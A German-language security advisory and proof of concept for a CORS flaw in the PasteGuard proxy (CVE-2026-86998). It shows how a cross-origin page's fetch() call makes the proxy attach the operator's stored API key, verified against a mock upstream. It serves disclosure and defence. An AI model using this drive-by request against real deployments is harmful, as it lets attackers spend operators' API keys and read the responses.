pasteguard-PoC — PoC — Cross-Origin-Proxy-Missbrauch konfigurierter Provider-API-Schlüssel in PasteGuard (GHSA-q94x-p9rc-q89f, CVE-2026-86998, CVSS 7.6). | Kitploit

src/index.ts:40-45 — const corsMiddleware = cors(); (Honos cors() ohne Optionen verwendet standardmäßig Access-Control-Allow-Origin: *) wird über app.use("*", ...) auf alles angewendet, mit einer expliziten Ausnahme nur für /dashboard und /dashboard/*. Der Kommentar direkt darüber (src/index.ts:34-39) zeigt, dass der Autor sorgfältig über die CORS-Exposition des Dashboards nachgedacht hat, diese Überlegung aber nicht auf die darunter liegenden Proxy-Routen ausgeweitet hat.
src/config.ts:153 — host: z.string().default("0.0.0.0"), bestätigt live in config.example.yaml:13. Der Proxy lauscht standardmäßig auf allen Interfaces, nicht nur auf Loopback, sodass er auch aus dem LAN erreichbar ist, nicht nur vom Browser des Betreibers selbst.
src/providers/openai/client.ts:48-53:
```
// Use client's auth header if provided, otherwise fall back to config
if (authHeader) {
  headers.Authorization = authHeader;
} else if (config.api_key) {
  headers.Authorization = `Bearer ${config.api_key}`;
}
```
Wenn die eingehende Anfrage keinen Authorization-Header enthält, hängt PasteGuard stillschweigend seinen eigenen serverseitig gehaltenen providers.openai.api_key an die ausgehende Anfrage an. config.example.yaml:22-24 dokumentiert dies als absichtliche Komfortfunktion ("Optional fallback if client doesn't send auth header") für den Anwendungsfall "Apps & APIs".
src/providers/anthropic/client.ts:37-61 implementiert das identische Fallback-Muster für /anthropic/v1/messages (x-api-key/Authorization-Fallback auf config.api_key) — bestätigt als Schwesterinstanz derselben Grundursache, nicht unabhängig end-to-end erneut verifiziert (siehe PoC-Umfang unten).

config.yaml konfiguriert mit providers.openai.base_url: http://127.0.0.1:9091 (Mock-Upstream) und providers.openai.api_key: "sk-VICTIM-SECRET-DO-NOT-LEAK-12345", pii_detection.enabled: false (nur gemockter Detektor /health, um den vollständigen GLiNER-Modelldienst zu vermeiden), secrets_detection.enabled: false. PasteGuard mit bun run src/index.ts gestartet, /health → 200 bestätigt.
Einen Mock-Upstream (mock_upstream.py) auf 127.0.0.1:9091 gestartet, der jeden empfangenen Authorization-Header protokolliert.

Eine echte Angreifer-Seite von einer wirklich unterschiedlichen Origin ausgeliefert, http://127.0.0.2:8001/attack.html (andere literale Loopback-IP, gemäß Chromes Site-Isolation-Regeln — kein Same-Origin-localhost-Test), über python3 -m http.server 8001 --bind 127.0.0.2. Die einzige Aktion der Seite beim Laden:

fetch("http://127.0.0.1:3000/openai/v1/chat/completions", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ model: "gpt-4o-mini", messages: [{ role: "user", content: "cross-origin drive-by call, attacker supplied NO api key" }] })
}).then(r => r.json()).then(data => { /* render on page */ });

Eine echte Chrome-Instanz (Chrome DevTools Protocol) zu http://127.0.0.2:8001/attack.html gesteuert. Über DevTools-Netzwerkinspektion bestätigt:
- Anfrage: origin: http://127.0.0.2:8001, sec-fetch-site: cross-site, kein von der Angreifer-Seite gesendeter Authorization-Header.
- Antwort: access-control-allow-origin: *, HTTP 200, JSON-Body vollständig lesbar durch das JS der Angreifer-Seite.
- Seite gerendert: "CROSS-ORIGIN READ SUCCEEDED. Response body visible to attacker JS: ..." — Screenshot: ../evidence/cross_origin_csrf_success.png.
- Mock-Upstream-Log für genau diese Anfrage: RECEIVED AUTH HEADER: Bearer sk-VICTIM-SECRET-DO-NOT-LEAK-12345 — beweist, dass PasteGuard den echten konfigurierten Schlüssel des Betreibers serverseitig angehängt hat, ohne dass die Angreifer-Seite ihn jemals kannte oder lieferte.

Forscher	Dostxodjayev Abdullox (@squeeze440)
Advisory	GHSA-q94x-p9rc-q89f
CVSS 3.1	7.6 (Hoch)
Schwachstelle	CWE-352, CWE-942

pasteguard-PoC

Beliebteste

PasteGuard: Sicherheitshinweis